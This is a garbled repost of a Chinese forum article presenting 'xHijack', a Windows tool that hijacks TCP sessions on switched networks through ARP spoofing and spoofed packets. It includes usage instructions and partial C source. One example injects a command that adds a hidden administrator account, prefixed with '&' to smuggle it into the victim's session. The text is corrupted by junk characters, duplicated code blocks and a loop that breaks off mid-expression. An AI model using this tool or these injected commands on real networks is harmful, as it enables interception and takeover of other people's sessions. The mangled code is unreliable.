再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
/ h$ [  F2 z4 c# S- ]第二步是ARP欺骗，具体原理我就不说了。
4 Y) e3 H2 y- f" {第三步就是开始劫持啦。
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! E( u  R/ \0 D$ g% Q. ?# [9 B我写了个程序xHijack可以实现第二、三步功能，使用如下:
( `/ O' L1 z& Y% ]& \: W
Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
: n4 v) L$ g' t" f5 t+ Z0 lc:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
4 @) y4 W+ I) R% H劫持后数据流程：server <--> hijacker <--> client
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) t/ X+ e& V. k; I* }4 v7 N; k<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
- B% n% j% X6 M; U4 dxHijack 202.202.202.2 202.202.202.1
" Z  M& u& y( E! F劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
0 Q" W- O" P7 D" G! vxHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
4 g) ~+ Z5 c; k$ i9 O3 ~$ e* x劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
+ j" [$ ]+ q' ~: M" D
输入两个参数后，会提示你选择网卡，然后会提示
9 W, [/ j5 Y; q* C7 E% Cl        <-- List all connections
r x       <-- Reset the number x connection
! R5 W4 L& X& G+ A; q/ x/ q+ Qw x       <-- Watch the number x connection
4 U) _+ a; c6 [+ B! [h x command   <-- Hijack the number x connection to execute command
$ {$ c) h! k: y; @
. b* A6 F# Y4 Tlist、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
* Y$ o1 z$ [# F7 Qpnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
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7 U8 d  }( a5 x8 S9 l& F劫持的流程如下：
<1>伪装成Server给Client发一个rst包
0 _5 I9 N% c# B0 e& @<2>伪装成Client给Server发了一个数据包
6 P- j0 c9 `. t1 v2 a% M<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

! v) V4 w: F( s( ?) T3 M这样的话，我们只能发一个伪造的包，但我想已经足够了。
# B. N7 G( E( O0 k1 C: Y1 j想要一直劫持那个连接也可以，如下
<1>伪装成Server给Client发一个rst包
* Q0 W, p& W9 X  E) e0 ^9 i<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
# }& `* V9 ]$ d0 g<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
7 ^8 [* p# ]. f<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

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刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
  w1 B+ r) {1 {: P+ [$ P6 c/ F8 R还请各位多多指点。

+ H* b9 W% L5 j' y! D- EBTW:我没有空间，编译好的程序没地方放：（
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. {, ?0 h- ]- e0 r" N: S参考资料
2 {1 s; U5 a" c. B* V4 s$ c% R<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
# R1 O6 p, z4 ]6 _; a: d<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
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, x5 a! E) M; s8 r, S3 }
以下是程序代码
5 J+ O0 Z0 A; f2 u8 p( D7 i0 z----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
% A. ]- k! a; @File      : xHijack.c
8 h6 H+ V9 \: c; `# A( b% fVersion      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
Author      : eyas
# a9 z5 t  q8 eEmail      : ey4s@21cn.com
HomePage    : www.ey4s.org
# l  [% N5 [7 r* n& M4 Y- c) O3 b& M感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

9 d: k9 V. J7 A备注:
<>没有考虑IP头、TCP头超过20字节的情况
5 w9 m3 t  w! o1 s0 K<>没有考虑数据包分片的情况
+ q! m- B: `# {! a1 G<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
& A  e) r! L  z8 m! c$ I7 w5 b题了。
: i7 o( a# g" f. E" `+ u; T
8 {$ y6 k" R  `3 P/ n& w# o9 ~也许下一版本会修正这些问题，也许不会有下一版本了。
2 o+ c' X, m) @3 r& n/ h8 T* y
-----------------------------------------------------------------------------*/
- X* p. b" s9 Z$ G#include
) o* N* ~0 a, U9 I6 `! R#include
- m- v; ~- H6 {7 |2 B, w#include
( ?) j5 S) A0 s. v1 Z, l+ A#include
$ a( U! c) N7 h& H" w  ?#include
#include
, ~0 b' K  `' m0 L0 c% P0 v, ?9 l2 f#include
3 |( s# F: d3 M" a6 T9 g
1 p, X  G$ r9 W7 Y9 C! T8 m: Y#pragma comment (lib, "packet")
" C, |/ ]2 }* o/ J& H#pragma comment (lib, "iphlpapi")
8 O: @  k; Q% l+ B+ u$ H#pragma comment (lib, "ws2_32")
% X: o8 d, t. o# d. ~
0 g. G# A3 B6 ~7 z+ C#define Max_Num_Adapter 10
% W( r$ M9 L8 ]* x! Z" F7 r; }#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
$ L# L* F4 H! S1 C( S9 G#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */
  @, h2 z5 y/ q& d" g) T
#define  ACTION_NONE    0
+ n. ?* f, R# W9 S$ [( j! O4 c#define  ACTION_WATCH  1
: V: R2 B& h" U#define  ACTION_RESET  2
1 P0 H3 {  J+ G* P7 \#define ACTION_HIJACK  3
( R# Z$ f# {  p: c& u. w
: P% _  v7 |: k$ e! w6 k# Q2 x/*以1字节对齐*/
#pragma pack(1)
# a* w, \1 u. Mtypedef struct _ehhdr
$ d9 L3 [2 M- ?, B4 h0 [) Q{
  }: \# b" H; W  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
# h+ F; r: K9 \6 R0 L, T  unsigned short  EthernetType;
) T! E* P/ {1 B$ [3 K9 H}EHHDR, *PEHHDR;
7 z7 k7 n  B# N6 R1 P9 Y# A
typedef struct _iphdr        //定义IP首部
3 t; q: a) ]2 S7 m4 Q2 g9 k9 y* r  A/ O& S{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
, l. H9 p2 K( ]; [/ w  unsigned short total_len;    //16位总长度（字节）
' U2 D) M1 j6 g. b+ ]2 ]1 |& v  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;        //8位生存时间 TTL
0 g4 E: R* R# h. s) i- _  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
0 U* F6 O6 v! i( r5 g$ P* {  unsigned short checksum;    //16位IP首部校验和
) J" D$ x, C- g6 v4 ~* @( N  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

; R( i' i6 D/ Htypedef struct _tcphdr        //定义TCP首部
{
8 H/ U0 R* C2 x$ o  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
  x/ I" E( w2 W% L1 W}TCPHDR, *PTCPHDR;
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! K- N* n8 |) f# Ttypedef struct _psdhdr        //定义TCP pseudo header
{               
7 u7 o( z& k6 J. O8 X2 e* `  unsigned long saddr;
- U# R2 ]* `+ {; U1 |$ L  unsigned long daddr;
- |5 F  Q: w* L. q$ ~6 n7 Y  char mbz;
4 T% Q  G7 d/ T2 {6 T  char ptcl;
  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

7 K/ v" p7 C. ~) J$ u$ O2 Q( Etypedef struct _arphdr
9 K0 ], E8 U. j+ D+ R/ a" F: |{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
! n2 V7 R/ w; |5 T# h  A) R9 X  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
4 r2 t+ q  V. N/ p) n  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

; w, J8 c( X6 H* e; {2 ]3 Vtypedef struct _ArpPacket
7 |8 L: G# ?, @, y  f0 s- n' ?1 J6 Y8 V{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;
) w  X# B/ c; c
typedef struct _tcppacket
{
& f  c; v/ I. S3 i; k8 n  EHHDR  ehhdr;
- ]7 `: S$ {7 D! |7 _  IPHDR  iphdr;
  TCPHDR  tcphdr;
& b- Q1 C' A* O. N  ^( H}TCPPACKET, *PTCPPACKET;
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typedef struct _conninfo
{
  DWORD  dwServerIP;
  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
6 _( I' H# v8 B! O7 T  DWORD  ident;//标识
+ q2 a* r# B8 n. G5 O  BOOL  bActive;
  r. U/ D7 V* Y! x- I7 b: r3 |& C  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
5 W# E/ i1 D9 {" Q        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
; O2 ~- O) l. Q8 N$ t& bunsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
/ J, {. u- H8 l2 _- \! }% q* o) V. u& |LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
( W0 d. S0 K& K7 v  k8 X2 G7 G        g_pConnHead = NULL,
3 a) [( a; I7 p& R+ a6 o        g_pConnLast = NULL;
, w. t: w; B8 P# L! _char      g_szSendPacketBuf[1514];
, T6 |0 D' V3 i, B& Z0 U% R( ~- uLPPACKET    g_lpSendPacket;
//函数
void      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
! i" _5 K( [8 l' R) Pvoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
, T6 u$ f- S6 ^( h/ w4 p3 Y  j+ vLPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
3 |3 C' u8 |  y/ vDWORD      GetConnNum(char *, DWORD, DWORD *);
* m! p; U/ D- t* A' E8 FDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
, x( J3 V$ U# p& q) A; cDWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

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8 C9 \6 C4 G0 Y, j( C3 I! Tint main(int argc, char **argv)
{
  struct    bpf_stat stat;
* D) \$ M8 D) o$ G3 D) S( l. v% P  }  int      i;

' z; [2 j* ^) m  usage();
  if (argc != 3) return 0;
6 ^  {- Z- a5 f& T6 K  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
. x- u# E6 k' V; W9 ~! m6 S  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
2 `  @& c4 x: H2 i3 @  //get ServerSide MAC & ClientSide MAC
' `$ }* p6 o6 \% F  O$ m  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
3 V. A$ d3 p7 |$ z9 A  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
# ?9 M# N4 P$ ^9 b; s; t  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
$ K, |% V- X/ i  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
; a% D+ P/ B$ |9 M    return 0;
  }
6 ^( [2 s/ L, _0 W" n  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
9 Y) k0 _( ^" D  //print the capture statistics
* k$ F8 O+ [1 ?' ?* _7 H1 {  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
" @& ?. S* L. t$ y5 @  else
. g! |: f* [* j    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: e" U9 A3 k0 b9 S5 @) a  //free resource   
  PacketFreePacket(g_lpSendPacket);
" j! A6 u9 A9 u" E9 b. j  PacketCloseAdapter(g_lpAdapter);
5 _  U0 c; x, H/ y% F2 C. L  return 0;
}
0 h$ A. h- q7 V6 H
7 _! x5 l' Y4 ?5 ^" l: a  P//
5 b7 Y1 Z; w4 A- x# q- y6 i- x//功能：重置所有于ACTION有关的标志
8 ^: y6 D$ t+ [7 ]- Y//

韩冰

unsigned int  g_ServerSideIP,
/ f: f4 \  b+ Z$ `2 q$ k        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
9 M: `/ ~6 l4 u3 l        g_TotalIP = 0;//
) d7 `! ], p0 n3 n" F0 r3 q* q% _unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
# P7 u1 V7 O6 b. kchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
$ ?; D. ], G( ]( P$ r& _: SLPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
0 H7 a7 {) p; x% X% [9 g9 dHANDLE      g_hThread[4];
* Y2 V- R& }; P) O/ x% W' Ichar      g_szCommand[128];//command to execute after hijack
$ C0 I) ~$ t; {DWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
, V& s# ~( N8 I7 v2 Y8 SPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
9 S9 O# }8 v3 C) b% e6 D        g_pConnLast = NULL;
; I3 C& z% s! y3 j( N* Lchar      g_szSendPacketBuf[1514];
7 ?5 S! Z1 z$ ^2 M1 x( JLPPACKET    g_lpSendPacket;
//函数
void      usage(void);
+ V& E5 Z! ]! Uvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
( B2 Y+ p5 u! s6 d' |3 tvoid      ListAllConnection();//列出当前所有的连接
) ^7 U* T0 m$ u# K9 ]' v! j: {5 n" |void      ResetActionAllFlag();
4 D" V( _, ]0 q1 XUSHORT      checksum(USHORT *, int);
  F6 _& l$ [( ]7 Q) F1 NBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
: J- z  ?% Q. C9 |( ~0 ABOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
4 O9 `) x- Z* u. c  P% `# GDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

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6 e. _, T4 a! ?0 c' m% {1 `4 t
int main(int argc, char **argv)
{
  struct    bpf_stat stat;
: M  O7 Y+ G4 R: p# Y3 [7 s& ]  int      i;

5 l: e# h$ `8 {% c5 w  usage();
+ O1 B2 _6 n! y, V, D0 `9 {, y) y$ q  if (argc != 3) return 0;
" Z& ^  z7 a. f  ~6 d' W  //取得参数
2 S* T* S) [% e6 _/ O4 D0 ~: H  g_ServerSideIP = inet_addr(argv[1]);
% k5 I4 \1 v4 _; m" c  g_ClientSideIP = inet_addr(argv[2]);
/ t, R4 G$ i- s* {) e  //初始化adapter & 一些全局变量
. c" ~( {1 k6 @  g_lpAdapter = InitAdapter();
; K4 Y# u4 X$ v  if(!g_lpAdapter) return 0;
) \# m# U3 z, @7 e6 ?9 e  //get ServerSide MAC & ClientSide MAC
5 R$ F+ ?8 R- h! S7 B  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ m- L$ P* p+ z6 |6 p7 I4 m1 d  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
" A/ j$ f2 i- O% ~+ V+ K8 X  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
) U. G) R/ Y) L  Z! s  i = 2;
+ Q& B$ B: M6 j# Z; L4 z  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
, p) A; o* N3 t2 w2 X  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
+ T- ]# z/ t7 h1 k( I% M  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
& q/ ~3 G& \) l& r9 `6 P  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
, H  l8 e2 H5 w. E    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
# _4 B5 E5 e; u2 J5 S  }
  //wait for any thread exit
/ Y% W9 ~- h6 _6 _  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
; s% P9 h9 t8 [1 P) x/ p  //print the capture statistics
6 O( {8 d9 H7 S4 n+ \9 C. p  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
4 ^% d2 C% Y* ~3 }    printf("Warning: unable to get stats from the kernel!\n");
: c- L. U$ L& |$ K8 \  else
% d$ j. y0 o: N& C( I    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
, N3 g: r" C1 m+ F7 u: c  //free resource   
& u  W  o: g1 @! @( q/ h  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
3 P& l3 S5 J; z3 o}

" T% u: s$ @( |" x, q//
//功能：重置所有于ACTION有关的标志
  d- M5 K9 e- ~. C//

韩冰

void ResetActionAllFlag()
& t/ t$ \* D" p1 R" l% A{
  g_dwCtrlConn = 0;
0 b; s! t/ c9 |+ w  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
}

& M/ Q& g  p1 Q) g+ W) y//
* F+ _$ r) ^" Z- o9 J8 M//功能：处理Ctrl+C和Ctrl+Break事件
//
" \) T! U& F2 \2 g# MBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
. T5 m3 K: X! q  ?+ ^! R{
. s4 i7 l% x/ R) C  switch(dwCtrlType)
& I( K+ F% k% }/ g& s  {
8 l" n5 T" i2 H- M( g    case CTRL_BREAK_EVENT:
      //reset action all flag
4 n8 I' B* y, m3 \# J" w- u. @      ResetActionAllFlag();
      break;
    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread[0], 0);
! ^1 D6 X1 g7 ]1 R7 M      TerminateThread(g_hThread[1], 0);
4 v% u( K, S  G      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
      break;
6 Z4 e3 \  r( E  D4 O    default:
4 ^' o0 _5 i; r1 M      break;
+ W) [, [8 b# h$ ^* E9 R4 I  }
5 ^6 n: g% r/ s' x  return TRUE;
}
/ i# x9 K9 B! w' g2 W" u+ ]" t2 D# o: M
- T: q: _; {2 ]4 y) }* `# C//
) c( U$ `* |: s//功能：处理用户输入
0 t& ]! U4 X; x+ {* j5 k//
: [/ ?+ b7 l! ?5 F: TDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
: {& v" g( Q4 J{
  DWORD  i;
3 ?; ^; v9 B' E3 r/ U  char  szBuff[16];
& u, f& F6 I: q! T  i; o
  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
; q+ g6 F9 k* F) }6 P5 [# j6 _' t! TDWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
. w. @5 m4 T8 M# c' ^  @+ W2 W/ r3 P            "r x\t\t<-- Reset the number x connection\n"
            "w x\t\t<-- Watch the number x connection\n"
# K  _$ F) A5 R# A            "h x command\t<-- Hijack the number x connection to execute command\n"
: F% }8 r& f% o* e$ [            "[Note]\n"
            "Ctrl+Break to clear all action\n"
: j* H& h- o# Z: \& E            "Ctrl+C to exit\n";
" S6 w: U% p8 f, F" L7 L  char  szPrompt[] = "\nxHijack>";
8 H; R7 k% V& H. s/ a  char  szBuffer[128];
  DWORD  dwPos;
  PCONNINFO  pTmp;

: H! m3 M' a! S0 N6 V$ Q) Z7 x  while(1)
  {
    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
& O. F2 B' z2 b    {
7 [5 J8 _$ G0 Q5 s& M! H      case 'l':
      case 'L':
; X2 T/ R- D+ l7 @0 Y4 F" R& i        ListAllConnection();
        break;
8 Q8 L7 @" w) R3 y! o      case 'r':
4 @6 K+ m2 }0 U8 J      case 'R':
        if(strlen(szBuffer) >2)
        {
1 Q# s" i& X" |          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
9 k4 \& c' F  ~& b+ K          g_dwAction = ACTION_RESET;
        }
" h7 o, @! F, V& W6 o' a        else printf("%s", szHelp);
        break;
9 R, ^. |$ \% y: u) G2 @$ k      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
! H% B5 f: @' E( P7 I! B) a1 F2 ]        {
' ?, m5 o/ r3 i          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
: n( G! f0 G% P% y        }
3 `3 u9 @# A+ n/ h4 I# `; f: _        else printf("%s", szHelp);
; p) l7 S! S: q/ S6 [7 L( X  \( i1 o        break;
* T7 |+ G# f5 D8 S      case 'h':
      case 'H'://h 1 xxx
8 g6 r+ R! [5 ?! H3 \. _        if(strlen(szBuffer) > 5)
0 y5 ~4 T% J9 W        {
% D. ~& |5 [: J+ Y6 P          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
1 ^$ K4 E- g; L7 a          //如果command第一个字符是'或"
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
$ _8 W# @, W/ X3 a          {
% F4 V& J/ i' X) {- R0 \: d            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
0 l, Q% G: w0 l* [) u( g            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
* w% j% r$ i9 d. x% {5 w          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
/ w3 O2 I5 b( S; _          strcat(g_szCommand, "\x0D\x0A");
0 E- z+ A( l1 E, j2 \          g_dwAction = ACTION_HIJACK;
        }
        else printf("%s", szHelp);
        break;
& w4 h5 A$ d6 I# P; \      default:
        printf("%s", szHelp);
% F: O/ O$ |0 L4 c% U% |        break;
    }//end of switch
. f( E. a& n( ^$ i    //find the specify ident's struct point
& M, @' [2 }+ l3 _3 N    if( (g_dwCtrlConn) && (g_dwAction) )
$ G7 A. B& ^) J) p    {
: w0 v5 V, I) t3 `% @  t      g_pCurrCtrlConn = NULL;
' x6 B# Z- M  `& ^  t. S3 R9 I      pTmp = g_pConnHead;
, c# \+ L2 A9 w5 V* u      while(pTmp)
      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
/ h9 _4 @. u' E! @8 {        {
          g_pCurrCtrlConn = pTmp;
0 }. n( Q# u: ~& ~- h2 ]          break;
        }
        pTmp = pTmp->Next;
& e' W2 P$ j5 ~      }
      if(!g_pCurrCtrlConn)
! a1 e* o" M% C' j; y0 n      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
: x7 `5 r: f) R! f7 ~% ^        //reset action all flag
        ResetActionAllFlag();      
      }
1 C0 x0 x% q+ B' V: X9 C  o7 t8 G    }
& I# r0 l. |5 `    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
    switch(g_dwAction)
' i* p# c- U: R! a$ o    {
& `6 h; p- _: [: A8 b      case ACTION_WATCH:
        printf("ACTION_WATCH");
        break;
& v" P! L) l. U* R* k+ Y2 [5 z( a      case ACTION_RESET:
8 c6 S2 A' I+ M( n* T# t  K        printf("ACTION_RESET");
        break;
/ P: T& C  Z8 \  O- M6 R8 A+ _      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
; B: M- G; n5 Q) [! I7 ]        break;
+ ?# V9 w  t& C9 w4 L* S      default:
        printf("ACTION_NONE");
3 O- B0 {  W' S& U$ ~0 M        break;
& l4 N0 e4 K4 b    }
3 O- w& X4 |/ L; q2 _2 Y! k    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
, N8 p% y% m, |# _  Y}

韩冰

// ! j8 {) A0 f4 g, J' t//功能：列出当前所有连接 8 v [3 H5 O7 d$ x// void ListAllConnection() 8 Z7 B2 A' u+ F/ F4 T3 P& O{ PCONNINFO pTmp; $ V0 z$ z- U) S6 ?# m SOCKADDR_IN saDest, saSource; 4 } s$ F2 g9 m* \ z1 c pTmp = g_pConnHead; while(pTmp) , h: G$ [$ [4 b* v5 c { ' x: _7 P5 `1 s1 L# }5 K if(pTmp->bActive) " Z( b8 p( l* @) l9 }6 U1 e. Y { 4 l! a. u" a, p saSource.sin_addr.s_addr = pTmp->dwServerIP; & F8 [; l# C, H" ?4 H0 {/ P9 b2 Y saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); ! y3 q- h1 s8 b8 |3 G printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 3 K8 H6 N7 d7 J) X# H* \ } ! \2 E" |4 M* m/ N( s/ E9 d pTmp = pTmp->Next; } 6 ]; ~0 c# ?5 s6 \} 3 D4 \# i2 O3 P3 }! `% {// 5 m8 O- L& s: F4 [$ P/ B# _5 j! ]: s# [//功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 1 V6 ]- U6 V- D9 J9 E! E// LPADAPTER InitAdapter() { LPADAPTER lpAdapter; 3 D2 P0 C- J- P. C, {- s' T static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; $ ?5 u8 \: K* ^ WCHAR AdapterName[2048]; WCHAR *temp,*temp1; 1 M$ p% O! S9 u, p+ r4 h, E ULONG AdapterLength = 1024; ( R% l9 N; r" g/ `( a! p7 a" f6 h, p& _ int iAdapterNum = 0; int iRetCode, i; " S! V8 s9 e( M. i* ^ a) v2 g( x4 C int 